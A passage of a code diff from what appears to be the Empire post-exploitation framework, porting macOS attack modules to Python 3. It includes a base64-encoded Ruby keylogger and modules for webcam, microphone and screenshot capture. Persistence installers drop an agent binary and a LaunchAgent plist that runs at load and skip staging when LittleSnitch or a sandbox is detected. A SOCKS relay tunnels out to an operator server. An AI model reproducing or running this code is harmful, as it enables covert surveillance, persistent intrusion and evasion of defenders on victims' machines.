R2X3N0YXJ0ID0gVGltZS5ub3cudG9faQ0KcHJldl9kb3duID0gSGFzaC5uZXcoZmFsc2UpDQpsYXN0V2luZG93ID0gIiINCndoaWxlICh0cnVlKSBkbw0KICBDYXJib24uR2V0RnJvbnRQcm9jZXNzKHBzbi5yZWYpDQogIENhcmJvbi5Db3B5UHJvY2Vzc05hbWUocHNuLnJlZiwgbmFtZS5yZWYpDQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkNCiAgc3RyX2xlbiA9IENhcmJvbi5DRlN0cmluZ0dldExlbmd0aChuYW1lKQ0KICBjb3BpZWQgPSBDYXJib24uQ0ZTdHJpbmdHZXRDU3RyaW5nKG5hbWUsIG5hbWVfY3N0ciwgTUFYX0FQUF9OQU1FLCAweDA4MDAwMTAwKSA+IDANCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQNCiAgYnl0ZXMgPSBrZXltYXAudG9fc3RyDQogIGNhcF9mbGFnID0gZmFsc2UNCiAgYXNjaWkgPSAwDQogIGN0cmxjaGFyID0gIiINCiAgKDAuLi4xMjgpLmVhY2ggZG8gfGt8DQogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApDQogICAgICBpZiBub3QgcHJldl9kb3duW2tdDQogICAgICAgIGNhc2Ugaw0KICAgICAgICAgIHdoZW4gMzYNCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltlbnRlcl0iDQogICAgICAgICAgd2hlbiA0OA0KICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iDQogICAgICAgICAgd2hlbiA0OQ0KICAgICAgICAgICAgY3RybGNoYXIgPSAiICINCiAgICAgICAgICB3aGVuIDUxDQogICAgICAgICAgICBjdHJsY2hhciA9ICJbZGVsZXRlXSINCiAgICAgICAgICB3aGVuIDUzDQogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSINCiAgICAgICAgICB3aGVuIDU1DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbY21kXSINCiAgICAgICAgICB3aGVuIDU2DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbc2hpZnRdIg0KICAgICAgICAgIHdoZW4gNTcNCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSINCiAgICAgICAgICB3aGVuIDU4DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbb3B0aW9uXSINCiAgICAgICAgICB3aGVuIDU5DQogICAgICAgICAgICBjdHJsY2hhciA9ICJbY3RybF0iDQogICAgICAgICAgd2hlbiA2Mw0KICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSINCiAgICAgICAgICBlbHNlDQogICAgICAgICAgICBjdHJsY2hhciA9ICIiDQogICAgICAgIGVuZA0KICAgICAgICBpZiBjdHJsY2hhciA9PSAiIiBhbmQgYXNjaWkgPT0gMA0KICAgICAgICAgIGtjaHIgPSBDYXJib24uR2V0U2NyaXB0VmFyaWFibGUoU01fS0NIUl9DQUNIRSwgU01fQ1VSUkVOVF9TQ1JJUFQpDQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpDQogICAgICAgICAgY3Vycl9hc2NpaSA9IGN1cnJfYXNjaWkgPj4gMTYgaWYgY3Vycl9hc2NpaSA8IDENCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlDQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwDQogICAgICAgICAgICBjYXBfZmxhZyA9IHRydWUNCiAgICAgICAgICBlbHNlDQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkNCiAgICAgICAgICBlbmQNCiAgICAgICAgZWxzaWYgY3RybGNoYXIgIT0gIiINCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlDQogICAgICAgIGVuZA0KICAgICAgZW5kDQogICAgZWxzZQ0KICAgICAgcHJldl9kb3duW2tdID0gZmFsc2UNCiAgICBlbmQNCiAgZW5kDQogIGlmIGFzY2lpICE9IDAgb3IgY3RybGNoYXIgIT0gIiINCiAgICBpZiBhcHBfbmFtZSAhPSBsYXN0V2luZG93DQogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiINCiAgICAgIGxhc3RXaW5kb3cgPSBhcHBfbmFtZQ0KICAgIGVuZA0KICAgIGlmIGN0cmxjaGFyICE9ICIiDQogICAgICBwcmludCAiI3tjdHJsY2hhcn0iDQogICAgZWxzaWYgYXNjaWkgPiAzMiBhbmQgYXNjaWkgPCAxMjcNCiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kDQogICAgICBwcmludCAiI3tjfSINCiAgICBlbHNlDQogICAgICBwcmludCAiWyN7YXNjaWl9XSINCiAgICBlbmQNCiAgICAkc3Rkb3V0LmZsdXNoDQogIGVuZA0KICBLZXJuZWwuc2xlZXAoMC4wMSkNCmVuZA0KDQo=\\\'))" | ruby > %s 2>&1 &').read()
7980 time.sleep(1)
8081 pids = os.popen('ps aux | grep " ruby" | grep -v grep').read()
8182 print pids
+2
-1
lib/modules/python/collection/osx/native_screenshot.py less more
0 from builtins import object
01 from zlib_wrapper import compress
12 import os
23 from lib.common import helpers
34 import hashlib
45 import base64
56
6 class Module:
7 class Module(object):
78
89 def __init__(self, mainMenu, params=[]):
910
+2
-1
lib/modules/python/collection/osx/native_screenshot_mss.py less more
0 from builtins import object
01 import base64
12 import os
23
3 class Module:
4 class Module(object):
45
56 def __init__(self, mainMenu, params=[]):
67
+2
-1
lib/modules/python/collection/osx/osx_mic_record.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/pillage_user.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/prompt.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/screensaver_alleyoop.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/screenshot.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/search_email.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/collection/osx/sniffer.py less more
00 #!/usr/bin/env python
1 class Module:
1 from builtins import object
2 class Module(object):
23 def __init__(self, mainMenu, params=[]):
34 # metadata info about the module, not modified during runtime
45 self.info = {
+2
-1
lib/modules/python/collection/osx/webcam.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/exploit/web/jboss_jmx.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/lateral_movement/multi/ssh_command.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34 def __init__(self, mainMenu, params=[]):
45 # metadata info about the module, not modified during runtime
56 self.info = {
+4
-2
lib/modules/python/lateral_movement/multi/ssh_launcher.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35 def __init__(self, mainMenu, params=[]):
46 # metadata info about the module, not modified during runtime
57 self.info = {
100102 launcher = launcher.replace("'", "\\'")
101103 launcher = launcher.replace('"', '\\"')
102104 if launcher == "":
103 print helpers.color("[!] Error in launcher command generation.")
105 print(helpers.color("[!] Error in launcher command generation."))
104106 return ""
105107 script = """
106108 import os
+2
-1
lib/modules/python/management/multi/kerberos_inject.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
3 class Module(object):
34
45 def __init__(self, mainMenu, params=[]):
56
+53
-53
lib/modules/python/management/multi/socks.py less more
0 from lib.common import helpers
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
13 import os
24 import string
35
6 from lib.common import helpers
47
5 class Module:
68
7 def __init__(self, mainMenu, params=[]):
9 class Module(object):
10 def __init__(self, mainMenu, params=None):
811
912 # metadata info about the module, not modified during runtime
1013 self.info = {
1114 # name for the module that will appear in module menus
12 'Name': 'SOCKSv5 proxy',
15 'Name': 'SOCKSv5 Proxy',
1316
1417 # list of one or more authors for the module
15 'Author': ['@klustic'],
18 'Author': ['klustic'],
1619
1720 # more verbose multi-line description of the module
18 'Description': ('Extend a SOCKSv5 proxy into your target network'),
21 'Description': ('Spawn an AROX relay to extend a SOCKS proxy through your agent.'),
1922
2023 # True if the module needs to run in the background
2124 'Background': True,
2427 # no need to base64 return data
2528 'OutputExtension': None,
2629
27 'NeedsAdmin': False,
28
29 # the module language
30 'Language' : 'python',
31
32 # the minimum language version needed
33 'MinLanguageVersion' : '2.7',
34
35
3630 # True if the method doesn't touch disk/is reasonably opsec safe
3731 'OpsecSafe': True,
3832
33 # the module language
34 'Language': 'python',
35
36 # Needs administrative privs
37 'NeedsAdmin': False,
38
39 # the minimum language version needed
40 'MinLanguageVersion': '2.7',
41
3942 # list of any references/other comments
4043 'Comments': [
41 'Modified from: https://github.com/klustic/AlmondRocks',
42 'Use the server found in that Github repo with this module.'
44 'You must set up a standalone AlmondRocks server for this to connect to! Refer to the AlmondRocks Github project for more details.',
45 'Repo: https://github.com/klustic/AlmondRocks'
4346 ]
4447 }
4548
4952 # value_name : {description, required, default_value}
5053 'Agent': {
5154 # The 'Agent' option is the only one that MUST be in a module
52 'Description' : 'Agent to proxy through',
53 'Required' : True,
54 'Value' : ''
55 'Description': 'Agent to run the AROX relay on',
56 'Required': True,
57 'Value': ''
5558 },
56 'HOST': {
57 'Description' : 'Host running the AlmondRocks server',
58 'Required' : True,
59 'Value' : ''
59 'server': {
60 'Description': 'FQDN/IPv4 and port of the AROX server (e.g. 1.2.3.4:443 or hax0r.com:443)',
61 'Required': True,
62 'Value': ''
6063 },
61 'PORT': {
62 'Description' : 'AlmondRocks server port',
63 'Required' : True,
64 'Value' : ''
65 },
66 'NoSSL': {
67 'Description' : 'Disable SSL (NOT RECOMMENDED!)',
68 'Required' : False,
69 'Value' : 'false'
70 }
7164 }
7265
66 # save off a copy of the mainMenu object to access external functionality like listeners/agent handlers/etc.
7367 self.mainMenu = mainMenu
74 if params:
75 for option, value in params:
76 if option in self.options:
77 self.options[option]['Value'] = value
68
69 # This is mostly in case options are passed on the command line
70 if params is not None:
71 for param in params:
72 # parameter format is [Name, Value]
73 option, value = param
74 if option.lower in self.options:
75 self.options[option.lower()]['Value'] = value
7876
7977 def generate(self, obfuscate=False, obfuscationCommand=""):
80 module_path = os.path.join(self.mainMenu.installPath,
81 'data/module_source/python/lateral_movement/socks_source.py')
78 tunnel_addr = self.options['server']['Value']
8279
80 # Read in the module source template
81 module_source_file = os.path.join(self.mainMenu.installPath,
82 'data/module_source/python/management/socks-src.py')
8383 try:
84 with open(module_path) as f:
85 script_template = string.Template(f.read())
86 except Exception as e:
87 print helpers.color('[!] Error reading {}: {}'.format(str(module_path), e))
88 return ""
84 with open(module_source_file) as f:
85 module_source = f.read()
86 except:
87 print(helpers.color("[!] Could not read module source path at: " + str(module_source_file)))
88 return ''
8989
90 options = {x.lower(): y for x, y in self.options.items()}
91 host = options.get('host', {}).get('Value')
92 port = options.get('port', {}).get('Value')
93 if options.get('nossl', {}).get('Value', 'false').lower() == 'true':
94 no_ssl = True
95 else:
96 no_ssl = False
90 # Render the module_template
91 module_template = string.Template(module_source)
92 try:
93 module = module_template.substitute(TUNNEL_ADDR=tunnel_addr)
94 except KeyError as e:
95 print(helpers.color("[!] Error rendering module template: {0}".format(e)))
96 return ''
9797
98 return script_template.substitute(host=host, port=port, no_ssl=no_ssl)
98 return module
+4
-2
lib/modules/python/management/multi/spawn.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
24
3 class Module:
5 class Module(object):
46
57 def __init__(self, mainMenu, params=[]):
68
8385 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent)
8486
8587 if launcher == "":
86 print helpers.color("[!] Error in launcher command generation.")
88 print(helpers.color("[!] Error in launcher command generation."))
8789 return ""
8890 else:
8991
+2
-1
lib/modules/python/management/osx/screen_sharing.py less more
0 from builtins import object
01 from lib.common import helpers
12
23
3 class Module:
4 class Module(object):
45
56 def __init__(self, mainMenu, params=[]):
67
+4
-2
lib/modules/python/management/osx/shellcodeinject64.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13 import os
24 import base64
35
46
5 class Module:
7 class Module(object):
68
79 def __init__(self, mainMenu, params=[]):
810
8587 shellcodeBinPath = self.options['Shellcode']['Value']
8688
8789 if not os.path.exists(shellcodeBinPath):
88 print helpers.color("[!] Shellcode bin file not found.")
90 print(helpers.color("[!] Shellcode bin file not found."))
8991 return ""
9092
9193 f = open(shellcodeBinPath, 'rb')
+2
-1
lib/modules/python/persistence/multi/crontab.py less more
0 class Module:
0 from builtins import object
1 class Module(object):
12
23 def __init__(self, mainMenu, params=[]):
34
+2
-1
lib/modules/python/persistence/multi/desktopfile.py less more
0 from builtins import object
01 import base64
1 class Module:
2 class Module(object):
23
34 def __init__(self, mainMenu, params=[]):
45
+3
-2
lib/modules/python/persistence/osx/CreateHijacker.py less more
0 from builtins import object
01 import base64
1 class Module:
2 class Module(object):
23
34 def __init__(self, mainMenu, params=[]):
45
107108 safeChecks = self.options['SafeChecks']['Value']
108109 arch = self.options['Arch']['Value']
109110 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
110 launcher = launcher.strip('echo').strip(' | python &').strip("\"")
111 launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
111112 dylibBytes = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker='true')
112113 encodedDylib = base64.b64encode(dylibBytes)
113114 dylib = self.options['LegitimateDylibPath']['Value']
+161
-0
lib/modules/python/persistence/osx/LaunchAgent.py less more
0 from builtins import object
1 import base64
2 class Module(object):
3
4 def __init__(self, mainMenu, params=[]):
5
6 # metadata info about the module, not modified during runtime
7 self.info = {
8 # name for the module that will appear in module menus
9 'Name': 'LaunchAgent',
10
11 # list of one or more authors for the module
12 'Author': ['@xorrior'],
13
14 # more verbose multi-line description of the module
15 'Description': ('Installs an Empire Launch Agent.'),
16
17 # True if the module needs to run in the background
18 'Background' : False,
19
20 # File extension to save the file as
21 'OutputExtension' : None,
22
23 # if the module needs administrative privileges
24 'NeedsAdmin' : False,
25
26 # True if the method doesn't touch disk/is reasonably opsec safe
27 'OpsecSafe' : False,
28
29 # the module language
30 'Language' : 'python',
31
32 # the minimum language version needed
33 'MinLanguageVersion' : '2.6',
34
35 # list of any references/other comments
36 'Comments': []
37 }
38
39 # any options needed by the module, settable during runtime
40 self.options = {
41 # format:
42 # value_name : {description, required, default_value}
43 'Agent' : {
44 # The 'Agent' option is the only one that MUST be in a module
45 'Description' : 'Agent to execute module on.',
46 'Required' : True,
47 'Value' : ''
48 },
49 'Listener' : {
50 'Description' : 'Listener to use.',
51 'Required' : True,
52 'Value' : ''
53 },
54 'SafeChecks' : {
55 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
56 'Required' : True,
57 'Value' : 'True'
58 },
59 'UserAgent' : {
60 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
61 'Required' : False,
62 'Value' : 'default'
63 },
64 'DaemonName' : {
65 'Description' : 'Name of the Launch Daemon to install. Name will also be used for the plist file.',
66 'Required' : True,
67 'Value' : 'com.proxy.initialize'
68 }
69 }
70
71 # save off a copy of the mainMenu object to access external functionality
72 # like listeners/agent handlers/etc.
73 self.mainMenu = mainMenu
74
75 # During instantiation, any settable option parameters
76 # are passed as an object set to the module and the
77 # options dictionary is automatically set. This is mostly
78 # in case options are passed on the command line
79 if params:
80 for param in params:
81 # parameter format is [Name, Value]
82 option, value = param
83 if option in self.options:
84 self.options[option]['Value'] = value
85
86 def generate(self, obfuscate=False, obfuscationCommand=""):
87
88 daemonName = self.options['DaemonName']['Value']
89 programName = daemonName.split('.')[-1]
90 plistFilename = "%s.plist" % daemonName
91 listenerName = self.options['Listener']['Value']
92 userAgent = self.options['UserAgent']['Value']
93 safeChecks = self.options['SafeChecks']['Value']
94 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
95 launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
96 machoBytes = self.mainMenu.stagers.generate_macho(launcherCode=launcher)
97 encBytes = base64.b64encode(machoBytes)
98
99 plistSettings = """<?xml version="1.0" encoding="UTF-8"?>
100 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0">
101 <plist version="1.0">
102 <dict>
103 <key>Label</key>
104 <string>%s</string>
105 <key>ProgramArguments</key>
106 <array>
107 <string>%s</string>
108 </array>
109 <key>RunAtLoad</key>
110 <true/>
111 <key>KeepAlive</key>
112 <true/>
113 </dict>
114 </plist>"""
115
116 script = """
117 import subprocess
118 import sys
119 import base64
120 import os
121
122 isRoot = True if os.geteuid() == 0 else False
123 user = os.environ['USER']
124 group = 'wheel' if isRoot else 'staff'
125
126 launchPath = '/Library/LaunchAgents/' if isRoot else '/Users/'+user+'/Library/LaunchAgents/'
127 daemonPath = '/Library/Application Support/%(daemonName)s/' if isRoot else '/Users/'+user+'/Library/Application Support/%(daemonName)s/'
128
129 encBytes = "%(encBytes)s"
130 bytes = base64.b64decode(encBytes)
131 plist = \"\"\"%(plistSettings)s
132 \"\"\" %% ('%(daemonName)s', daemonPath+'%(programName)s')
133
134 if not os.path.exists(daemonPath):
135 os.makedirs(daemonPath)
136
137 e = open(daemonPath+'%(programName)s','wb')
138 e.write(bytes)
139 e.close()
140
141 os.chmod(daemonPath+'%(programName)s', 0755)
142
143 f = open('/tmp/%(plistFilename)s','w')
144 f.write(plist)
145 f.close()
146
147 os.chmod('/tmp/%(plistFilename)s', 0644)
148
149 process = subprocess.Popen('chown '+user+':'+group+' /tmp/%(plistFilename)s', stdout=subprocess.PIPE, shell=True)
150 process.communicate()
151
152 process = subprocess.Popen('mv /tmp/%(plistFilename)s '+launchPath+'%(plistFilename)s', stdout=subprocess.PIPE, shell=True)
153 process.communicate()
154
155 print "\\n[+] Persistence has been installed: "+launchPath+"%(plistFilename)s"
156 print "\\n[+] Empire daemon has been written to "+daemonPath+"%(programName)s"
157
158 """ % {"encBytes":encBytes, "plistSettings":plistSettings, "daemonName":daemonName, "programName":programName, "plistFilename":plistFilename}
159
160 return script
+148
-0
lib/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py less more
0 from builtins import object
1 import base64
2 class Module(object):
3
4 def __init__(self, mainMenu, params=[]):
5
6 # metadata info about the module, not modified during runtime
7 self.info = {
8 # name for the module that will appear in module menus
9 'Name': 'LaunchAgent - UserLand Persistence',
10
11 # list of one or more authors for the module
12 'Author': ['@xorrior','@n0pe_sled'],
13
14 # more verbose multi-line description of the module
15 'Description': ('Installs an Empire launchAgent.'),
16
17 # True if the module needs to run in the background
18 'Background' : False,
19
20 # File extension to save the file as
21 'OutputExtension' : None,
22
23 # if the module needs administrative privileges
24 'NeedsAdmin' : False,
25
26 # True if the method doesn't touch disk/is reasonably opsec safe
27 'OpsecSafe' : False,
28
29 # the module language
30 'Language' : 'python',
31
32 # the minimum language version needed
33 'MinLanguageVersion' : '2.6',
34
35 # list of any references/other comments
36 'Comments': []
37 }
38
39 # any options needed by the module, settable during runtime
40 self.options = {
41 # format:
42 # value_name : {description, required, default_value}
43 'Agent' : {
44 # The 'Agent' option is the only one that MUST be in a module
45 'Description' : 'Agent to execute module on.',
46 'Required' : True,
47 'Value' : ''
48 },
49 'Listener' : {
50 'Description' : 'Listener to use.',
51 'Required' : True,
52 'Value' : ''
53 },
54 'SafeChecks' : {
55 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
56 'Required' : True,
57 'Value' : 'True'
58 },
59 'UserAgent' : {
60 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
61 'Required' : False,
62 'Value' : 'default'
63 },
64 'PLISTName' : {
65 'Description' : 'Name of the PLIST to install. Name will also be used for the plist file.',
66 'Required' : True,
67 'Value' : 'com.proxy.initialize.plist'
68 },
69 }
70
71 # save off a copy of the mainMenu object to access external functionality
72 # like listeners/agent handlers/etc.
73 self.mainMenu = mainMenu
74
75 # During instantiation, any settable option parameters
76 # are passed as an object set to the module and the
77 # options dictionary is automatically set. This is mostly
78 # in case options are passed on the command line
79 if params:
80 for param in params:
81 # parameter format is [Name, Value]
82 option, value = param
83 if option in self.options:
84 self.options[option]['Value'] = value
85
86 def generate(self, obfuscate=False, obfuscationCommand=""):
87
88 PLISTName = self.options['PLISTName']['Value']
89 programname = "~/Library/LaunchAgents"
90 plistfilename = "%s.plist" % PLISTName
91 listenerName = self.options['Listener']['Value']
92 userAgent = self.options['UserAgent']['Value']
93 safeChecks = self.options['SafeChecks']['Value']
94 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
95 launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
96
97
98 plistSettings = """<?xml version="1.0" encoding="UTF-8"?>
99 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
100 <plist version="1.0">
101 <dict>
102 <key>Label</key>
103 <string>%s</string>
104 <key>ProgramArguments</key>
105 <array>
106 <string>python</string>
107 <string>-c</string>
108 <string>%s</string>
109 </array>
110 <key>RunAtLoad</key>
111 <true/>
112 </dict>
113 </plist>
114 """ % (PLISTName, launcher)
115
116 script = """
117 import subprocess
118 import sys
119 import base64
120 import os
121
122
123 plistPath = "/Library/LaunchAgents/%s"
124
125 if not os.path.exists(os.path.split(plistPath)[0]):
126 os.makedirs(os.path.split(plistPath)[0])
127
128 plist = \"\"\"
129 %s
130 \"\"\"
131
132 homedir = os.getenv("HOME")
133
134 plistPath = homedir + plistPath
135
136 e = open(plistPath,'wb')
137 e.write(plist)
138 e.close()
139
140 os.chmod(plistPath, 0644)
141
142
143 print "\\n[+] Persistence has been installed: /Library/LaunchAgents/%s"
144
145 """ % (PLISTName,plistSettings,PLISTName)
146
147 return script⏎
+0
-102
lib/modules/python/persistence/osx/RemoveDaemon.py less more
0 from lib.common import helpers
1
2 class Module:
3
4 def __init__(self, mainMenu, params=[]):
5
6 # metadata info about the module, not modified during runtime
7 self.info = {
8 # name for the module that will appear in module menus
9 'Name': 'RemoveLaunchDaemon',
10
11 # list of one or more authors for the module
12 'Author': ['@xorrior'],
13
14 # more verbose multi-line description of the module
15 'Description': ('Remove an Empire Launch Daemon.'),
16
17 # True if the module needs to run in the background
18 'Background' : False,
19
20 # File extension to save the file as
21 'OutputExtension' : None,
22
23 # if the module needs administrative privileges
24 'NeedsAdmin' : True,
25
26 # True if the method doesn't touch disk/is reasonably opsec safe
27 'OpsecSafe' : True,
28
29 # the module language
30 'Language' : 'python',
31
32 # the minimum language version needed
33 'MinLanguageVersion' : '2.6',
34
35 # list of any references/other comments
36 'Comments': []
37 }
38
39 # any options needed by the module, settable during runtime
40 self.options = {
41 # format:
42 # value_name : {description, required, default_value}
43 'Agent' : {
44 # The 'Agent' option is the only one that MUST be in a module
45 'Description' : 'Agent to execute module on.',
46 'Required' : True,
47 'Value' : ''
48 },
49 'PlistPath' : {
50 'Description' : 'Full path to the plist file to remove.',
51 'Required' : True,
52 'Value' : ''
53 },
54 'ProgramPath' : {
55 'Description' : 'Full path to the bash script/ binary file to remove.',
56 'Required' : True,
57 'Value' : ''
58 }
59
60 }
61
62 # save off a copy of the mainMenu object to access external functionality
63 # like listeners/agent handlers/etc.
64 self.mainMenu = mainMenu
65
66 # During instantiation, any settable option parameters
67 # are passed as an object set to the module and the
68 # options dictionary is automatically set. This is mostly
69 # in case options are passed on the command line
70 if params:
71 for param in params:
72 # parameter format is [Name, Value]
73 option, value = param
74 if option in self.options:
75 self.options[option]['Value'] = value
76
77
78 def generate(self, obfuscate=False, obfuscationCommand=""):
79
80 plistpath = self.options['PlistPath']['Value']
81 programpath = self.options['ProgramPath']['Value']
82
83
84
85 script = """
86 import subprocess
87
88 process = subprocess.Popen('launchctl unload %s', stdout=subprocess.PIPE, shell=True)
89 process.communicate()
90
91 process = subprocess.Popen('rm %s', stdout=subprocess.PIPE, shell=True)
92 process.communicate()
93
94 process = subprocess.Popen('rm %s', stdout=subprocess.PIPE, shell=True)
95 process.communicate()
96
97 print "\\n [+] %s has been removed"
98 print "\\n [+] %s has been removed"
99 """ %(plistpath,plistpath,programpath,plistpath,programpath)
100
101 return script
+103
-0
lib/modules/python/persistence/osx/RemoveLaunchAgent.py less more
0 from builtins import object
1 from lib.common import helpers
2
3 class Module(object):
4
5 def __init__(self, mainMenu, params=[]):
6
7 # metadata info about the module, not modified during runtime
8 self.info = {
9 # name for the module that will appear in module menus
10 'Name': 'RemoveLaunchDaemon',
11
12 # list of one or more authors for the module
13 'Author': ['@xorrior'],
14
15 # more verbose multi-line description of the module
16 'Description': ('Remove an Empire Launch Daemon.'),
17
18 # True if the module needs to run in the background
19 'Background' : False,
20
21 # File extension to save the file as
22 'OutputExtension' : None,
23
24 # if the module needs administrative privileges
25 'NeedsAdmin' : False,
26
27 # True if the method doesn't touch disk/is reasonably opsec safe
28 'OpsecSafe' : True,
29
30 # the module language
31 'Language' : 'python',
32
33 # the minimum language version needed
34 'MinLanguageVersion' : '2.6',
35
36 # list of any references/other comments
37 'Comments': []
38 }
39
40 # any options needed by the module, settable during runtime
41 self.options = {
42 # format:
43 # value_name : {description, required, default_value}
44 'Agent' : {
45 # The 'Agent' option is the only one that MUST be in a module
46 'Description' : 'Agent to execute module on.',
47 'Required' : True,
48 'Value' : ''
49 },
50 'PlistPath' : {
51 'Description' : 'Full path to the plist file to remove.',
52 'Required' : True,
53 'Value' : ''
54 },
55 'ProgramPath' : {
56 'Description' : 'Full path to the bash script/ binary file to remove.',
57 'Required' : True,
58 'Value' : ''
59 }
60
61 }
62
63 # save off a copy of the mainMenu object to access external functionality
64 # like listeners/agent handlers/etc.
65 self.mainMenu = mainMenu
66
67 # During instantiation, any settable option parameters
68 # are passed as an object set to the module and the
69 # options dictionary is automatically set. This is mostly
70 # in case options are passed on the command line
71 if params:
72 for param in params:
73 # parameter format is [Name, Value]
74 option, value = param
75 if option in self.options:
76 self.options[option]['Value'] = value
77
78
79 def generate(self, obfuscate=False, obfuscationCommand=""):
80
81 plistpath = self.options['PlistPath']['Value']
82 programpath = self.options['ProgramPath']['Value']
83
84
85
86 script = """
87 import subprocess
88
89 process = subprocess.Popen('launchctl unload %s', stdout=subprocess.PIPE, shell=True)
90 process.communicate()
91
92 process = subprocess.Popen('rm %s', stdout=subprocess.PIPE, shell=True)
93 process.communicate()
94
95 process = subprocess.Popen('rm %s', stdout=subprocess.PIPE, shell=True)
96 process.communicate()
97
98 print "\\n [+] %s has been removed"
99 print "\\n [+] %s has been removed"
100 """ %(plistpath,plistpath,programpath,plistpath,programpath)
101
102 return script
+0
-170
lib/modules/python/persistence/osx/launchdaemonexecutable.py less more
0 import base64
1 class Module:
2
3 def __init__(self, mainMenu, params=[]):
4
5 # metadata info about the module, not modified during runtime
6 self.info = {
7 # name for the module that will appear in module menus
8 'Name': 'LaunchDaemon',
9
10 # list of one or more authors for the module
11 'Author': ['@xorrior'],
12
13 # more verbose multi-line description of the module
14 'Description': ('Installs an Empire launchDaemon.'),
15
16 # True if the module needs to run in the background
17 'Background' : False,
18
19 # File extension to save the file as
20 'OutputExtension' : None,
21
22 # if the module needs administrative privileges
23 'NeedsAdmin' : True,
24
25 # True if the method doesn't touch disk/is reasonably opsec safe
26 'OpsecSafe' : False,
27
28 # the module language
29 'Language' : 'python',
30
31 # the minimum language version needed
32 'MinLanguageVersion' : '2.6',
33
34 # list of any references/other comments
35 'Comments': []
36 }
37
38 # any options needed by the module, settable during runtime
39 self.options = {
40 # format:
41 # value_name : {description, required, default_value}
42 'Agent' : {
43 # The 'Agent' option is the only one that MUST be in a module
44 'Description' : 'Agent to execute module on.',
45 'Required' : True,
46 'Value' : ''
47 },
48 'Listener' : {
49 'Description' : 'Listener to use.',
50 'Required' : True,
51 'Value' : ''
52 },
53 'SafeChecks' : {
54 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
55 'Required' : True,
56 'Value' : 'True'
57 },
58 'UserAgent' : {
59 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
60 'Required' : False,
61 'Value' : 'default'
62 },
63 'DaemonName' : {
64 'Description' : 'Name of the Launch Daemon to install. Name will also be used for the plist file.',
65 'Required' : True,
66 'Value' : 'com.proxy.initialize'
67 },
68 'DaemonLocation' : {
69 'Description' : 'The full path of where the Empire launch daemon should be located.',
70 'Required' : True,
71 'Value' : ''
72 }
73 }
74
75 # save off a copy of the mainMenu object to access external functionality
76 # like listeners/agent handlers/etc.
77 self.mainMenu = mainMenu
78
79 # During instantiation, any settable option parameters
80 # are passed as an object set to the module and the
81 # options dictionary is automatically set. This is mostly
